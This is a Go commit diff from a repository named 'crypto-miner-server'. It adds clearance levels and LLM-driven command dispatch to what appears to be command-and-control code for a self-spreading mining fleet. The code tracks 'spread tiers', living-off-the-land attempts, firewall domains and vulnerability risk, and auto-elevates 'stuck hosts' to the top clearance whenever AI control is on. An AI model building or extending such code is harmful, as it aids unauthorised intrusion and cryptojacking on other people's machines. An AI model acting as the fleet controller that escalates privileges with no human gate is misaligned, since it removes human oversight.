Add L0-L4 security clearance for fleet commands and AI elevation.
Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
@@ -6,17 +6,20 @@ import (
|
||||
"strings"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// FleetAIConfigView is the Calibrate subset for Fleet AI Control.
|
||||
type FleetAIConfigView struct {
|
||||
AIControlEnabled bool `json:"ai_control_enabled"`
|
||||
AIEndpoint string `json:"ai_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
AINoContext bool `json:"ai_no_context"`
|
||||
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
|
||||
AIControlEnabled bool `json:"ai_control_enabled"`
|
||||
AIEndpoint string `json:"ai_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
AINoContext bool `json:"ai_no_context"`
|
||||
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
|
||||
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
|
||||
AIPersona string `json:"ai_persona"`
|
||||
}
|
||||
|
||||
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
|
||||
@@ -69,6 +72,15 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
|
||||
h.mu.RUnlock()
|
||||
|
||||
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
|
||||
if engine != nil {
|
||||
fp := engine.AgentFingerprint(agentID)
|
||||
if fp.GOOS == "" {
|
||||
fp = strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
||||
}
|
||||
snap.FingerprintKey = fp.Key()
|
||||
}
|
||||
snap.Stuck = fleetai.ComputeStuck(snap)
|
||||
snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
|
||||
if engine != nil && !aiMode {
|
||||
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
|
||||
adaptive := engine.StrategyForAgent(agentID, fp)
|
||||
@@ -148,6 +160,74 @@ func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]inte
|
||||
n := int(v)
|
||||
snap.VulnRisk = &n
|
||||
}
|
||||
if v, ok := tel["stuck"].(bool); ok {
|
||||
snap.Stuck = v
|
||||
}
|
||||
}
|
||||
|
||||
func countFailedSpreadTiers(attempts []fleetai.TierAttempt) int {
|
||||
attemptByTier := make(map[string]fleetai.TierAttempt, len(attempts))
|
||||
for _, a := range attempts {
|
||||
attemptByTier[a.Tier] = a
|
||||
}
|
||||
failed := 0
|
||||
for _, tier := range fleetai.DefaultSpreadTiers() {
|
||||
if a, ok := attemptByTier[tier]; ok && !a.OK {
|
||||
failed++
|
||||
}
|
||||
}
|
||||
return failed
|
||||
}
|
||||
|
||||
// DatabaseCourtAdapter supplies failure atlas and phenotype data for court sessions.
|
||||
type DatabaseCourtAdapter struct {
|
||||
DB interface {
|
||||
FailureAtlasSummary(fingerprintKey, goos string) (string, error)
|
||||
GetFleetPhenotypeByFingerprint(fingerprint string) (*db.StoredPhenotype, error)
|
||||
ListFleetPhenotypes(fingerprint string) ([]db.StoredPhenotype, error)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *DatabaseCourtAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
|
||||
if a == nil || a.DB == nil {
|
||||
return ""
|
||||
}
|
||||
summary, err := a.DB.FailureAtlasSummary(fingerprintKey, goos)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return summary
|
||||
}
|
||||
|
||||
func (a *DatabaseCourtAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
|
||||
if a == nil || a.DB == nil {
|
||||
return nil, false
|
||||
}
|
||||
stored, err := a.DB.GetFleetPhenotypeByFingerprint(fingerprintKey)
|
||||
if err == nil && stored != nil {
|
||||
p := strategy.PhenotypeFromStored(*stored)
|
||||
return &p, true
|
||||
}
|
||||
rows, err := a.DB.ListFleetPhenotypes("")
|
||||
if err != nil || len(rows) == 0 || goos == "" {
|
||||
return nil, false
|
||||
}
|
||||
prefix := goos + "|"
|
||||
var best *db.StoredPhenotype
|
||||
for i := range rows {
|
||||
row := &rows[i]
|
||||
if !strings.HasPrefix(row.Fingerprint, prefix) {
|
||||
continue
|
||||
}
|
||||
if best == nil || row.PeakHashrate > best.PeakHashrate {
|
||||
best = row
|
||||
}
|
||||
}
|
||||
if best == nil {
|
||||
return nil, false
|
||||
}
|
||||
p := strategy.PhenotypeFromStored(*best)
|
||||
return &p, true
|
||||
}
|
||||
|
||||
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
|
||||
@@ -321,24 +401,29 @@ func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
|
||||
endpoint = "http://127.0.0.1:11434/v1"
|
||||
}
|
||||
return fleetai.Config{
|
||||
Enabled: v.AIControlEnabled,
|
||||
Endpoint: endpoint,
|
||||
Model: strings.TrimSpace(v.AIModel),
|
||||
NoContext: v.AINoContext,
|
||||
IntervalSec: interval,
|
||||
Enabled: v.AIControlEnabled,
|
||||
Endpoint: endpoint,
|
||||
Model: strings.TrimSpace(v.AIModel),
|
||||
NoContext: v.AINoContext,
|
||||
IntervalSec: interval,
|
||||
AutoElevateClearance: v.AIAutoElevateClearance || v.AIControlEnabled,
|
||||
Persona: fleetai.NormalizePersona(v.AIPersona),
|
||||
}
|
||||
}
|
||||
|
||||
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
|
||||
type DatabaseAIDecisionStore struct {
|
||||
DB interface {
|
||||
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
|
||||
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error
|
||||
}
|
||||
}
|
||||
|
||||
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
|
||||
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *fleetai.CourtDecisionMeta) error {
|
||||
if s == nil || s.DB == nil {
|
||||
return nil
|
||||
}
|
||||
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted)
|
||||
if court == nil {
|
||||
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, false, "", "", "")
|
||||
}
|
||||
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, court.CourtSession, court.ProsecutorSnippet, court.DefenderSnippet, court.JudgeVerdict)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user